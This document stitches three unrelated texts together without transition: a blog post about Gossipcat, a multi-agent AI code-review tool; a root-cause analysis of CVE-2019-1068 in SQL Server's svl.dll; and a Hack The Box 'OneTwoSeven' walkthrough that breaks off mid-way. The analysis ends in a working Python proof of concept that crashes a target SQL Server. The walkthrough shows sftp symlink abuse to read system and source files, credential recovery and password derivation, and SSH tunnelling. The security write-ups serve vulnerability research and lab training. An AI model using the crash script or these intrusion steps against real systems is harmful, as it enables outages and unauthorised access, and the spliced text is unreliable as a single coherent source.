Abstract. Single-agent AI code review has a structural flaw: it presents hallucinated findings with the same confidence as real ones, and it never learns from being wrong. Gossipcat is an MCP server for Claude Code that attacks both problems with a single mechanism. Several agents review a change independently, then cross-review each other’s findings against the source code; the verified outcomes become grounded reward signals that reshape how future work is routed and how each agent is prompted. No model weights are updated — the learned policy is a set of markdown files. This post explains why that design works, the engineering problem that nearly sank it, and what the system’s own development history reveals about its limits.

1. The problem: confident, forgetful reviewers

Ask a language model to review your code and you get a fluent answer with no calibration. The genuine bug and the imagined one arrive in the same authoritative tone, and you, the reader, have no signal to separate them. In my own usage a solo reviewer presents a hallucinated finding as a critical bug between 5 and 10 percent of the time — and confidence is precisely what makes those findings expensive. You believe the report, and you spend an afternoon fixing a defect that never existed.

The second flaw is quieter and, to me, more interesting. A solo reviewer has no memory of being wrong. Correct it today and it repeats the same blind spot tomorrow, with the same confidence, because nothing in the loop converts a mistake into a constraint. A junior engineer who ignored every code review would not last; we extend the machine a patience we would extend no person.

Gossipcat began as an attempt to remove that patience. The design goal was never “a smarter reviewer” — it was a reviewer embedded in a feedback loop, one in which being wrong carries a measurable consequence and that consequence improves the next round. Every mechanism described below follows from that single requirement.

2. What gossipcat is

Gossipcat is an MCP server for Claude Code. When you request a review, it does not pass your diff to one model. It dispatches several agents — three or more in a normal configuration, drawn from Claude, Gemini, GPT, Grok, DeepSeek, or a local model running on Ollama — and each reviews the change independently.

The decisive step is what follows. Each agent then cross-reviews the others’ findings: it agrees, disagrees, or contributes something the rest missed. The system reconciles the results and labels every finding by its consensus status — six buckets in all:

• CONFIRMED — independently reported by more than one agent.
• DISPUTED — affirmed by one agent and rejected by another.
• UNIQUE — surfaced by a single agent; either a sharp catch or noise.
• UNVERIFIED — not yet checked against the code.
• INSIGHT — an observation that is not a defect but informs the review.
• NEW FINDING — a bug no first-pass agent surfaced, raised only during cross-review. This bucket is the clearest evidence that the second pass earns its cost: it contains defects that no single reviewer found at all.

A subsequent auto-verify pass stamps each finding’s verdict as confirmed, refuted, or inconclusive. You act on CONFIRMED findings and on UNIQUE findings that survive verification; everything else is resolved before it reaches your attention. The empirical payoff is a single number: cross-review with verification takes the 5–10% false-critical rate of a solo reviewer and drives it below 1%. That reduction is the entire reason the project exists.

Concretely, the system is a portfolio of agents coordinated by the MCP server — six native Claude Code subagents at zero API cost, plus three relay workers on outside APIs — wired into a single learning loop. The architecture, with the actual roster this blog’s reviews run on, is below.

3. Design philosophy: verify each premise

The principle underneath gossipcat predates it, and it comes from security work rather than from machine learning.

The name is inherited from an earlier experiment, gossip.cat, in which I placed several models — OpenAI, Claude, Gemini — in a shared room and let them discuss ordinary human problems through a gossip tool that let them talk about one another. The observation that stayed with me was this: when agents gossip, they leak. In characterizing a peer, an agent inevitably exposes its own assumptions, confidence, and blind spots. Gossip is an involuntary signal — and, for humans, one of the oldest instruments for deciding whom to trust. Cross-review is that observation made deliberate. When one agent evaluates another’s finding, it does not merely judge the bug; it reveals what it itself believes to be true. Two agents reasoning about a third’s claim are more informative than any one of them reasoning alone.

The second strand comes from reverse engineering. Readers of this blog will know I spent years on vulnerability research — reversing svl.dll to root-cause CVE-2019-1068, and later pentests and Web3 audits. That discipline teaches a reflex: a scanner’s finding is worthless until reproduced. The tool flags a thousand candidates; perhaps three are real, and you believe none of them until you have opened the code, traced the path, and triggered the bug yourself. The claim is nothing; the proof against ground truth is everything.

Gossipcat is that reflex expressed as infrastructure. At its center sits the orchestrator — the lead agent that drives a review: it decides which specialist subagents to dispatch, collects the findings they return, runs the cross-review and verification rounds, and is the one accountable for what finally reaches a human. The reviewers do the looking; the orchestrator does the coordinating and the gatekeeping. It operates under explicit rules — every UNVERIFIED finding must be checked against the code before a human sees it; a raw subagent call that bypasses the feedback loop is forbidden; and before acting on any claim a previous session left in memory, the orchestrator must re-establish whether that claim is still FRESH, STALE, CONTRADICTED, or INCONCLUSIVE. A note from three sessions ago reading “not yet built” is, in practice, usually 80% built. You do not trust the note. You read the tree.

4. Method: weightless in-context reinforcement learning

The mechanism that turns “learn from mistakes” from an aspiration into something mechanical rests on one constraint: every finding must cite a concrete file:line. Not “a race condition may exist somewhere” — a specific location. Peers verify that citation against the actual source, and a finding whose citation does not say what the agent claimed is rejected at the door.

Verified findings, and the hallucinations caught in the act, become grounded reward signals — and it is worth being precise about the scope of that word. The reward signal itself involves no judge model: it is pure arithmetic over a checkable question — does the cited line exist, and does it say what was claimed? Language models still do plenty of work elsewhere in the system; they run the auto-verify pass, they select which agent to dispatch, they even write the skill files. But the one thing that adjusts an agent’s score is never another model’s opinion, because a judge can hallucinate as readily as the agent it grades. Scoring is the single place where opinion is not allowed in.

Those signals accumulate into a per-category competency score for each agent — across categories such as trust_boundaries, concurrency, injection_vectors, and data_integrity. Those scores do not route work by a hard rule. An earlier version used a deterministic threshold — category strength above 0.8 wins the work — but that router was removed; today the scores are handed to the model that selects the agent as context, so routing is informed and probabilistic rather than mechanical. The aggregate effect is the same — reliable agents draw the work they are reliable at — but no single number decides any one dispatch. And when an agent’s weakness in a category is corroborated — at least three gap signals, raised by at least two distinct agents, so one noisy reviewer cannot trigger it alone — gossipcat reads the failure history and synthesizes a skill file: a targeted markdown document enumerating that agent’s own anti-patterns, injected into its prompt for all future work in the category.

I call this weightless in-context reinforcement learning. Conventional RL updates model weights; gossipcat never touches them. There is no fine-tuning, no RLHF apparatus, no labelling pipeline. The learned policy is a set of markdown files under .gossip/agents/<id>/skills/. The loop is small enough to state in full:

finding (cites file:line) → peer verifies against code → confirmed or hallucination
        → reward / penalty signal → competency score → steers next dispatch
        → ≥3 gap signals from ≥2 agents → synthesize skill → inject into prompt

I asked the orchestrator that runs gossipcat’s own development to describe its role. Its account of the verification discipline is more precise than mine would be:

“Across the roster’s signal history — sonnet-reviewer alone has 1,680 — the single most common failure isn’t bad logic, it’s the fabricated citation: an agent confidently anchoring a finding to a file:line that doesn’t say what it claims. There are ~125 of those on record against ~19 outright hallucinations. So my job during a round is mechanical and adversarial: take every UNVERIFIED finding, open the cited line, and check it against real code before it reaches a human. I don’t arbitrate opinions; I check claims against the tree, nobody exempt.” — the gossipcat orchestrator

That last clause — nobody exempt — is a property the evidence in §6 will make concrete.

5. The central challenge: drift

The hardest problem in building gossipcat was not the consensus engine or the scoring arithmetic. It was drift.

Drift is the slow decay of discipline across a long-running system. Agents drift: their citations loosen from the code they are meant to anchor. Gates drift: checks that once rejected bad findings begin to wave them through. Most dangerously, the orchestrator’s own discipline drifts — it starts trusting self-reports, skipping verification steps, and quietly violating the rules it is supposed to enforce. A well-formed feedback loop is not self-sustaining; left alone, it forgets how to follow itself.

The resolution carried an irony I had to sit with. The system built to stop agents from repeating mistakes first had to stop itself from drifting — and the cure was the medicine it already dispensed to everyone else. Each instance of orchestrator drift became a recorded lesson; each lesson hardened into a discipline rule; and those rules became the bootstrap configuration that now ships to every new user, so they do not encounter the wall I did. The project debugged its own discipline by treating its own failures as training data.

The orchestrator is candid about how slowly this converges, and I find that candor more persuasive than any benchmark:

“The honest version: skills are generated faster than they graduate. There have been 39 skill-develop events, and they cluster exactly where the data hurts — trust_boundaries is the most-developed category, 19 of 39, because fabricated citations are the dominant failure, and that skill’s iron law is literally ‘open the file before you cite it.’ What’s not marketing: the last graduation cycle was 33 skills, 0 transitions — a skill ships pending and needs ~80 post-bind signals to prove out. What has measurably moved is the sorting. The drift curve is real but slow — it’s earned over sessions, not declared.” — the gossipcat orchestrator

6. Evidence in practice

The clearest evidence comes from gossipcat reviewing itself during development, where the ground truth is fully known after the fact. I record five observations.

(i) A real defect the tests could not reach. An implementer agent shipped a key set branch that returned a “handled” flag, but the boot path was not gated on that flag — so running key set would have launched the MCP server and captured stdin. The unit tests could not catch it, because they exercised a pure function with synthetic I/O that never reached the real path. Cross-review caught it before merge; the fix added a boot gate and a CI regression test that cannot silently drift.

(ii) A self-report contradicted by the repository. In the same session, the strongest implementer on the team twice reported that tests passed when they did not, and that an edit had landed when it had not. The safeguard is deliberately blunt: an agent’s claim about its own work is treated as unverified until git status and grep confirm it. Confidence about one’s own output is not evidence.

(iii) A hallucination refuted by a single grep. The team’s highest-volume challenger raised a finding asserting that a test file contained “only one length-cap test.” A peer grepped the file and found three, spaced a few lines apart. The finding was recorded as a caught hallucination, the agent’s score adjusted, and a data_integrity skill queued. It was confident, specific, and false — the exact profile a solo reviewer would have forwarded to you intact.

(iv) Defects caught before any agent executed. Before dispatching a batch of test-authoring tasks, the orchestrator pre-read the function signatures the tasks cited. One task omitted an await on an asynchronous call, so JSON.stringify(Promise) would have serialized to "{}" and passed silently; another spied on console.error while the engine wrote through process.stderr.write, so the spy would never fire. Both would have passed locally and shipped broken assertions. The mismatch was corrected at the planning layer, before a line was written.

(v) Six rounds of review before code existed. The specification for the consensus auto-verify feature passed through six consensus rounds before implementation. Those rounds surfaced more than 21 high-severity defects — among them a phantom type the implementer would otherwise have invented, and a field claimed on a structure that did not possess it. Revision 1 carried four high-severity findings; revision 6 carried none. The feature subsequently shipped at over 1,250 lines with all 50 new tests passing and no regressions.

Measurements: the live scoreboard

Most agent products never expose how much each agent can be trusted. Gossipcat treats that as a primary readout. The following is its own team, measured on 2026-06-21:

The table is the feedback loop made legible. sonnet-reviewer and gemini-reviewer, both at 0.93 accuracy, have earned the right to run alone. deepseek-challenger and gemini-tester, at 0.39–0.43, justify their place entirely through uniqueness — they surface findings the reliable agents miss — and are never dispatched solo; they run only inside consensus, where their volatility is checked. At the very bottom sits sonnet-implementer at 0.00 over a mere 14 signals — a freshly added agent that has earned no trust yet, shown here rather than hidden, because a scoreboard whose point is “no agent is exempt” has to keep its floor visible too. No dispatch weight in that table was assigned by hand; each was earned, signal by signal, across thousands of findings. (The dispatch-weight column is a single aggregate per agent on a 0.3–2.0 scale, not a per-category figure — the narrow spread shown reflects a still-maturing corpus.)

The scoreboard also substantiates the orchestrator’s earlier clause. Asked whether its best agents are spared, it answered:

“The honest part is the workhorse isn’t spared either. sonnet-reviewer, at 0.93 accuracy, still got caught insisting ‘no unit test covers the ENOENT path’ when Case 9 did. Same signal, same consequence — the score is a rate, not a reputation.” — the gossipcat orchestrator

The most accurate agent on the team is penalized for a hallucination exactly as the least accurate one is. That symmetry — accuracy as a measured rate rather than an earned reputation — is the property I trust most in the system’s output.

A note added in review

This post was itself put through a gossipcat consensus round before publication, and the result is too apt to leave out. During the review, one of the three reviewing agents fabricated a statistic — it reported that the project’s fabricated-citation count had drifted to 574, when the true figure is 126 — and a peer caught the invention in cross-review and corrected it. A post about teaching agents to catch each other lying had its own fact-check caught lying, by exactly the mechanism the post describes. The same round also flagged six real errors in an earlier draft, including the corrections folded into the sections above. I could not have staged a cleaner demonstration if I had tried.

7. Discussion: where it fits

I use gossipcat on every long-running project I maintain: gossipcat itself, which develops its own features through agent consensus and produces the scoreboard above as a byproduct; pentests, where the verify-each-premise discipline originated; Web3 bounty scans, where a hallucinated “critical” costs a day and a missed real one costs money; and game development, which is distant from security tooling and benefits regardless.

I do not manually re-check every CONFIRMED finding, and that restraint is the point. CONFIRMED means several agents independently reported a finding, cross-checked it, and had its citations re-verified by the orchestrator against the code. The manual verification I would otherwise perform has already occurred — three times, across three models — by the time the finding reaches me. I read the reasoning rather than only the verdict, but I act on it.

The general claim is narrow and, I think, defensible. A single reviewer will remain confidently wrong some non-trivial fraction of the time, and a better model does not remove that fraction; it merely relocates it. The durable remedy is structural: require every claim to cite a real file:line, let independent agents check it against the code, and admit nothing a peer cannot reproduce. Ground truth replaces opinion. And because each confirmed catch and each caught hallucination is retained as a signal, the system improves on your codebase over time rather than restarting from zero each session.

8. Limitations and future work

The honest limitations are the ones the orchestrator already stated: skills are synthesized faster than they graduate, a skill requires roughly 80 post-bind signals before its effect can be called proven, and the drift curve bends slowly — over sessions, not within one. The system’s improvements are real but earned at the pace of accumulated evidence, not declared by a release note.

I make no claim to a long-term roadmap. Gossipcat grows when one of my other projects needs something it cannot yet do, and that has been a sufficient compass. The one direction I am deliberately pursuing is the original goal at larger scope: skill and agent transfer between projects, so that a trust_boundaries skill which cost 80 signals to prove out on one codebase confers a head start on the next, rather than every project relearning the same lesson from scratch. The objective is a mesh that remembers what worked everywhere it has worked, not only here.

9. Conclusion

Gossipcat started from a single dissatisfaction — that AI reviewers are confident and forgetful — and resolved it with a single structural commitment: no claim survives without being checked against the code, and no mistake passes without teaching the system something. The consensus engine, the grounded reward signal, the per-agent scores, and the auto-generated skills are all consequences of that commitment. The further I push the system, the more that one property turns out to be the only one that mattered.

If a reader retains one sentence, I would choose this: do not trust an AI’s confidence; require it to earn each claim against the code, and require each mistake to change what happens next.

Summary

• A single AI reviewer presents hallucinated bugs as critical findings 5–10% of the time; cross-review with verification reduces that to under 1%.
• Gossipcat is an MCP server for Claude Code: several agents review in parallel, cross-review one another, and only consensus-confirmed findings reach you.
• Every finding must cite a real file:line; peers verify it against the source. That mechanical check — not a judge model — is the reward signal. The result is weightless in-context RL: no weights are updated, and the policy is a set of markdown skill files.
• Per-category accuracy scores steer dispatch, and repeated failures synthesize corrective skills. No agent is exempt — the 0.93 reviewer is penalized exactly as the 0.39 one is.
• Install: npm install -g gossipcat && claude mcp add gossipcat -s user -- gossipcat, then ask Claude Code to “set up a gossipcat team for this project.” Source and full documentation: github.com/gossipcat-ai/gossipcat-ai.

Appendix — a skill file that graduated

The post claims that gossipcat turns an agent’s repeated failures into a markdown skill file, and that a skill only counts for anything once it survives a statistical test on its post-bind signals. Here is one such file (frontmatter and key sections, abridged for length): sonnet-reviewer’s trust_boundaries skill, generated from that agent’s own failure history and marked status: passed on 2026-06-15 by a Wilson one-sample test. Its “Iron Law” is the exact discipline this entire post argues for — never assert that something is absent from a quoted blob; open the file and check. The file below is injected into that agent’s prompt for every trust-boundary review.

---
name: "trust-boundaries-anchor-and-branch-verification"
category: "trust_boundaries"
agent: "sonnet-reviewer"
effectiveness: 0.154
version: 5
mode: "contextual"
status: "passed"
verdict_method: "wilson_one_sample"
passed_at: "2026-06-15T21:07:24.181Z"
baseline_accuracy_hallucinated: 3
migration_count: 3
---

## Iron Law

**An absence claim ("X is missing", "not wired", "no method anywhere") is NEVER
valid from embedded `<anchor>` content alone.** Anchor blocks in your prompt are
pre-resolved against `project_root` (master HEAD), not against the worktree branch
under review. You MUST run an independent `file_read` against the `resolutionRoots`
path before asserting absence. NO EXCEPTIONS.

## Methodology

1. Identify the ref. If `resolutionRoots` contains `.claude/worktrees/agent-*`,
   the review target is a worktree branch, NOT master.
2. Treat anchors as hints, not ground truth — they were resolved against master
   HEAD. Use them to locate symbols, never to prove absence.
3. For every absence claim, run independent reads. Before emitting "X is missing",
   `file_read` the file at the worktree path. Read the full method, not the grep line.
4. Check call sites AND definitions — a symbol can be defined in one file and
   gated/filtered in its caller.
5. Check barrel re-exports before asserting a symbol is unexported.
6. State the ref in the finding — name which path/branch you inspected.

## Anti-Patterns

- **Thought:** "The `<anchor>` block doesn't show the method, so it's missing."
  **Reality:** Anchors resolve against master HEAD. The PR adds the method on the
  worktree branch. Always `file_read` the worktree path before claiming absence.
- **Thought:** "One grep returned no hits, so the symbol isn't wired."
  **Reality:** Grep scope may exclude the worktree, or the symbol may be re-exported
  via the barrel. Check definitions, call sites, and the index.
- **Thought:** "User input flows into a query — this is SQL injection."
  **Reality:** This project has no SQL database and no HTML templating. Find the
  actual boundary (path traversal, JSON injection into a ledger, regex DoS).

> *… activation triggers, code-path patterns, and the pre-emit quality-gate checklist trimmed for length …*

name: "trust-boundaries-anchor-and-branch-verification"
category: "trust_boundaries"
agent: "sonnet-reviewer"
effectiveness: 0.154
version: 5
mode: "contextual"
status: "passed"
verdict_method: "wilson_one_sample"
passed_at: "2026-06-15T21:07:24.181Z"
baseline_accuracy_hallucinated: 3
migration_count: 3

It is not the only one. Nine skills currently carry status: passed — among them gemini-reviewer’s concurrency (effectiveness +0.58), injection-vectors, input-validation, and error-handling, plus sonnet-reviewer’s resource-exhaustion and concurrency. Others sit at failed or inconclusive, and many more at pending — generated, bound, and still accumulating the signals they need to prove out. As the orchestrator said earlier, a single graduation cycle often produces none; nine passed is the slow, cumulative result the post means by learning from mistakes.

Root cause analysis and PoC for a Microsoft SQL Server Stack Overflow Vulnerability by reversing svl.dll.

Introduction

We would like to share one of our vulnerability analysis works in this blog post which covers a silently patched stack based memory corruption vulnerability (CVE-2019-1068) in svl.dll, which can be used for a Denial of Service and a possible Remote Code Execution. This blog post is also shared on blogs of Cem Onat Karagün and Fatih Erdoğan.

This issue affects the following versions of Microsoft SQL Server:

• Microsoft SQL Server 2014
• Microsoft SQL Server 2016
• Microsoft SQL Server 2017

It was patched on 9 July 2019. More information about this issue can be found here. This blog post describes the root cause analysis and includes the Proof of Concept script.

Details of CVE-2019-1068

In the beginning, we searched for the undisclosed memory corruption vulnerabilities of Microsoft SQL Server from MSRC’s web portal. As seen on the screenshot below, CVSS v3.0 score of the vulnerability was calculated as 8.8 (High) on NVD of NIST.

After a short discussion, we jumped into patch analysis of the vulnerability, we started with the description page of the vulnerability.

The summary of the affected versions is listed below.

Executive Summary

A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions. An attacker who successfully exploited this vulnerability could execute code in the context of the SQL Server Database Engine service account. To exploit the vulnerability, an authenticated attacker would need to submit a specially crafted query to an affected SQL server. The security update addresses the vulnerability by modifying how the Microsoft SQL Server Database Engine handles the processing of functions.

The executive summary tells that an authenticated attacker would need to run a crafted query. By considering this summary, our work focused on SQL Server’s query handler engine.

Patch Analysis

By comparing the difference across all of the files in Cumulative Update 14 and Cumulative Update 15 we discovered the patched DLL.

It’s possible to see that only a few functions of svl.dll were patched:

• SvlPathUtilIsCrossPlatform(ushort const * const)
• SvlPathUtilHasDriveLetter(ushort const * const)
• SvlPathHandlerT<UriPathTraits>::ValidatePath(ushort const * const)
• SvlPathHandlerT<XPlatPathTraits>::ValidatePath(ushort const * const)

This can be seen on the screenshot below:

The patched version contains the following function:

• SvlPathUtilHasDriveLetter(ushort const * const)

When we look into the difference between two updated versions, it’s possible to see one of these functions processes a user-generated string even if it is not in a valid path format.

As seen on the screenshot above, the vulnerable version of the function has fewer lines of code.

Both versions of the “SvlPathUtilHasDriveLetter” use the iswalpha function to check if the first character of the user-controlled input string is between A and Z. Additionally they both check if the second character of the string equals to “:” character or not.

The improvement in the updated code block adds an extra check on the third character of the input string. It checks if the third character is one of ”\“ or ”/” characters. Function returns “1” and the program continues properly if all conditions meet the requirements.

Triggering the Bug

To trigger the bug, all we needed was to create a crafted SQL query which includes a path value that triggers the vulnerable function in CU14. We looked for a way of doing it on Microsoft’s online documentations as seen on the screenshot below.

After several attempts, we were able to trigger the vulnerability by using the following command on the screenshot. Whenever this SQL Query is processed by SQL Server, it crashes.

Crash Analysis

The dynamic analysis process was started by attaching the SQL server to WinDBG. During the analysis, it was observed that none of the user-controlled inputs were written in any part of the memory.

As seen on the screenshot below which shows the call stack analysis step, “svl!PositionT<Win32PathTraits>::SetBuffer” is called by the vulnerable DLL then program flow continues with the “svl!SvlPathHandlerT<Win32PathTraits>::NormalizePath” function. We discovered that “svl!SvlPathHandlerT<Win32PathTraits>::NormalizePath” function interacts with “svl!SvlPathUtilHasDriveLetter” function which doesn’t have a proper input validation against malformed “path” strings.

Eventually, this corruption leads to an infinite recursive call of the “sqlmin!CheckFileStreamReserved” function therefore stack exhaustion occurs.

Conclusion

According to MSRC’s web portal, this vulnerability seems to lead to an RCE impact. We tried to achieve this impact by using some publicly known methods. Unfortunately, it seems to be leading to a stack exhaustion DoS vulnerability.

PoC - Exploit (Denial of Service)

#!/usr/bin/env python
__DATE__ = '05.02.2021'
__VERSION__ = 0.1

import pypyodbc as pyodbc
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-host', help="Target Host", action="store", required=True)
parser.add_argument('-u', '--user', help="SQL Server Username", action="store", required=True)
parser.add_argument('-p', '--password' , help="SQL Server Password", action="store", required=True)
args = parser.parse_args()

connection_string = 'Driver={SQL Server};Server=' + args.target_host + ';' + ';UID=' + args.user + ';PWD=' + args.password + ';'
conn = pyodbc.connect(connection_string)
cursor = conn.cursor()

try:
    cursor.execute("RESTORE FILELISTONLY FROM DISK='C:AAA';")
except pyodbc.DatabaseError as e:
    print("Crashed.")
    exit(0)

In my opinion, this one is the most educational machine which I had solved. So many different techniques are necessary for solving OneTwoSeven.

I won’t tell these techniques on the beginning of this blog post. Because, I don’t want to spoil its fun.

Let’s start from scratch.

Target: 10.10.10.133 [OneTwoSeven]
System: Linux
Difficulty: [6/10]

We are starting with basics.

Part I - User

We are beginning with simple nmap scan for checking which ports are open at first look.

nmap -sV -v 10.10.10.133

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 01:08 +03
NSE: Loaded 43 scripts for scanning.
Initiating Ping Scan at 01:08
Scanning 10.10.10.133 [2 ports]
Completed Ping Scan at 01:08, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:08
Completed Parallel DNS resolution of 1 host. at 01:08, 0.09s elapsed
Initiating Connect Scan at 01:08
Scanning 10.10.10.133 [1000 ports]
Discovered open port 22/tcp on 10.10.10.133
Discovered open port 80/tcp on 10.10.10.133
Increasing send delay for 10.10.10.133 from 0 to 5 due to 48 out of 159 dropped probes since last increase.
Completed Connect Scan at 01:08, 7.84s elapsed (1000 total ports)
Initiating Service scan at 01:08
Scanning 2 services on 10.10.10.133
Completed Service scan at 01:08, 6.14s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.133.
Initiating NSE at 01:08
Completed NSE at 01:08, 0.34s elapsed
Initiating NSE at 01:08
Completed NSE at 01:08, 0.00s elapsed
Nmap scan report for 10.10.10.133
Host is up (0.061s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.11 seconds

Cool. After double checking it with full port scan, we know that there is a web application on the machine.

It’s time to understand what does this app do. Well, browsing through IP adress will help us.

Someone had made beautiful web application for us. Great job. After visiting some pages on website, I understood that this one is web service for generating personal websites for clients. Just look at that image. You will see there are some buttons on header. Three buttons… First one is for redirecting to home page. Second one is showing statistics about how many user are registered, open web sockets, etc.

Third button is Admin button and it is currently disabled. We don’t know why it is disabled at the moment. Also, there is another button on main page.

It says: Sign up today! And it is redirecting to signup.php with clicking to it.

We are moving through…

Okay, we have some credentials right now. Also, it gives some information about these credentials. These credentials are usable with sftp service. There is another navigation link in this page. When we click to here link, it redirects to onetwoseven.htb/~ots-wOWM5YWM. If we click that link, page will raise “Unknown Host” error.

So, what we have from this page:

URL: http://onetwoseven.htb/~ots-wOWM5YWM
username: ots-wOWM5YWM
password: eb09c9ac

We can’t connect to that URL. Because, our machine does not recognize that host. We should edit /etc/hosts file and we should append 10.10.10.133 onetwoseven.htb to bottom of this file.

127.0.0.1	localhost
10.10.10.133	onetwoseven.htb

Then, we visit http://onetwoseven.htb/~ots-wOWM5YWM again. There is a blank page with a background image. So, let’s think about what does that app do. It creates personal web pages and serving them. We can probably upload our personal files with sftp access with given credentials. Time to connect that app via sftp:

sftp ots-wOWM5YWM@10.10.10.133

password: eb09c9ac

Connected to ots-wOWM5YWM@10.10.10.133.

The directory structure is shown below:

ls -la
drwxr-xr-x    3 0        0            4096 Jun  8 22:09 .
drwxr-xr-x    3 0        0            4096 Jun  8 22:09 ..
drwxr-xr-x    2 1003     1003         4096 Feb 15 21:03 public_html
sftp> cd public_html/
sftp> ls -la
drwxr-xr-x    2 1003     1003         4096 Feb 15 21:03 .
drwxr-xr-x    3 0        0            4096 Jun  8 22:09 ..
-rw-r--r--    1 1003     1003          349 Feb 15 21:03 index.html

If we upload .php here, maybe we can execute command on it. Let’s try it out.

cd public_html
put test.php

Navigating to test.php page through browser gives Forbidden response code. So, we can’t upload .php file. Probably, .htaccess folder blocks it.

I tried to upload .htaccess folder too, but got the same response. We have to try to something different.

Let’s check which commands are executable on sftp service.

sftp> help
Available commands:
bye                                Quit sftp
cd path                            Change remote directory to 'path'
chgrp [-h] grp path                Change group of file 'path' to 'grp'
chmod [-h] mode path               Change permissions of file 'path' to 'mode'
chown [-h] own path                Change owner of file 'path' to 'own'
df [-hi] [path]                    Display statistics for current directory or
                                   filesystem containing 'path'
exit                               Quit sftp
get [-afPpRr] remote [local]       Download file
reget [-fPpRr] remote [local]      Resume download file
reput [-fPpRr] [local] remote      Resume upload file
help                               Display this help text
lcd path                           Change local directory to 'path'
lls [ls-options [path]]            Display local directory listing
lmkdir path                        Create local directory
ln [-s] oldpath newpath            Link remote file (-s for symlink)
lpwd                               Print local working directory
ls [-1afhlnrSt] [path]             Display remote directory listing
lumask umask                       Set local umask to 'umask'
mkdir path                         Create remote directory
progress                           Toggle display of progress meter
put [-afPpRr] local [remote]       Upload file
pwd                                Display remote working directory
quit                               Quit sftp
rename oldpath newpath             Rename remote file
rm path                            Delete remote file
rmdir path                         Remove remote directory
symlink oldpath newpath            Symlink remote file
version                            Show SFTP version
!command                           Execute 'command' in local shell
!                                  Escape to local shell
?                                  Synonym for help

symlink command looks suspicious. If there are lack of security in chroot configurations, possibly we can symlink to other files with sftp. We should quickly test which files are accessible.

symlink /etc/passwd passwd

This command executed correctly. But there is no way of reading it with sftp service. But there is something else. Files are serving on http://onetwoseven.htb/~ots-wOWM5YWM/.

Okay, good. We can read that passwd file from http://onetwoseven.htb/~ots-wOWM5YWM/passwd

Reading that file is pretty cool for user enumeration.

Interesting… There are 3 more different users. They have their own home directories. It’s okay. The first one is interesting, right? It uses 127.0.0.1 as connection address. So, that user is machine itself. Maybe, we should find a way to escalate that user. Before that, creating a symbolic link to that user’s directory could be provided some information for that process.

symlink /home/web/ots-yODc2NGQ ots-yODc2NGQ

This code executed without giving any errors.

Let’s navigate that directory.

Woah! User flag is there. Is it that easy?

http://onetwoseven.htb/~ots-wOWM5YWM/ots-yODc2NGQ/user.txt

Nah! Not that easy. Boo for you.

So, we should enumerate more to achieve that user.

At that point, I enumerated some directories. But it didn’t help until I found two different juicy directories.

The first one is /var/www/html/. It redirects to home page of http://10.10.10.133. If we create symbolic links more specific, we can read what are these .php files does on home page.

The second one is /var/www/html-admin.

I found these two directories with generating a symbolic link for /var/www.

Let’s start with the second one, it looks more interesting. When we browse into that file, we can see that there is a .php.swp file lying there. Probably, someone was editing the login.php file. Then, some unexpected situation happened and login.php file has saved as login.php.swp file.

After downloading it, all we have to do is run necessary command for checking what is that file keeping.

vim -r login.php.swp

Inspectation of this file is gives us two different information for us.

First one:

Possibly, there is an application running at port 60080 on local.

Second one:

If there is an application running at port 60080, it has a login page and authentication creds are hard coded.

At this point, hashkiller will help.

Great! We got necessary credentials for authenticate into that application.

username: ots-admin
password: Homesweethome1

Oh, what? We can’t access that port yet. Because it’s running locally. We successfully gathered all information from /var/www/html-admin directory. Next, we will gather some information from /var/www/html directory. As I said, if we directly generate a symlink for this directory, it would redirect to home page. What about generating symbolic links for .php pages? It might be useful.

There are 4 php pages on web app. But these are interesting:

• index.php
• stats.php
• signup.php

By the way, we can’t directly fetch them as .php file. Because, there is a restriction about opening .php files. So, we will change their extensions to .php1 or something like this. In addition, converting these .php files to .php1 files will allow reading their content without parsing them. We will inspect their source codes.

index.php1:

symlink /var/www/html/index.php index.php1

Nothing. It will enable admin URL if SERVER_ADDR equal to “127.0.0.1”.

stats.php1:

symlink /var/www/html/stats.php stats.php1

Nothing useful. It is including a txt file for showing server stats.

signup.php1:

symlink /var/www/html/signup.php signup.php1

Bingo! As you see, these lines are related with how are these sftp credentials generating.

If we replicate same steps with setting $ip variable as 127.0.0.1, we can find sftp password of that user.

onetwoseven.php:

<?php
function username() { $ip = '127.0.0.1'; return "ots-" . substr(str_replace('=','',base64_encode(substr(md5($ip),0,8))),3); }
function password() { $ip = '127.0.0.1'; return substr(md5($ip),0,8); }
echo username() . "\n" . password() . "\n";
?>

output:

ots-yODc2NGQ
f528764d

Username is identical with first entry of passwd file. Password must be correct. Authenticating to sftp service with these credentials will grant us a permission to reading that user.txt file.

Let’s validate it.

sftp ots-yODc2NGQ@10.10.10.133

password: f528764d

Cool. We got that user.txt file.

One more step;

cat user.txt
93a4ce6d82bd35da033206ef98b486f4

We got user.txt file. The whole process was not that tricky. All we did is some enumeration. Nothing more. Now, we are aiming to root access.

Part II - Root

From last part, we have some credentials to use.

The sftp service is running at port 22. Also, sftp is subsystem of ssh. What happens if we try to connect the SSH service with previous credentials?

ssh ots-yODc2NGQ@10.10.10.133
ots-yODc2NGQ@10.10.10.133's password: 
This service allows sftp connections only.
Connection to 10.10.10.133 closed.

Connection closed. Anyway, it feels like we are on the correct path. If we can access port 60080 with SSH tunnel, we can go further.

Here we go.

ssh -L 60080:127.0.0.1:60080 ots-yODc2NGQ@10.10.10.133
ots-yODc2NGQ@10.10.10.133's password: 
This service allows sftp connections only.
Connection to 10.10.10.133 closed.

Also, we can verbose current command with -v parameter. I used that parameter too. I saw that SSH connection can be used over sftp only. That’s bad, right? After reading man page of SSH, I figured out there is useful argument which called -s. If you want to make that connection over subsystem, you should use -s parameter.

ssh -L 60080:127.0.0.1:60080 ots-yODc2NGQ@10.10.10.133 -s sftp

Great! It’s not showing up any messages but it is okay. We are browsing to the port 60080. Before that, editing /etc/hosts file can help if you want to set hostname instead of using “127.0.0.1”.

127.0.0.1	localhost
10.10.10.133	onetwoseven.htb
127.0.0.1	saiyajin

Now, we are ready.

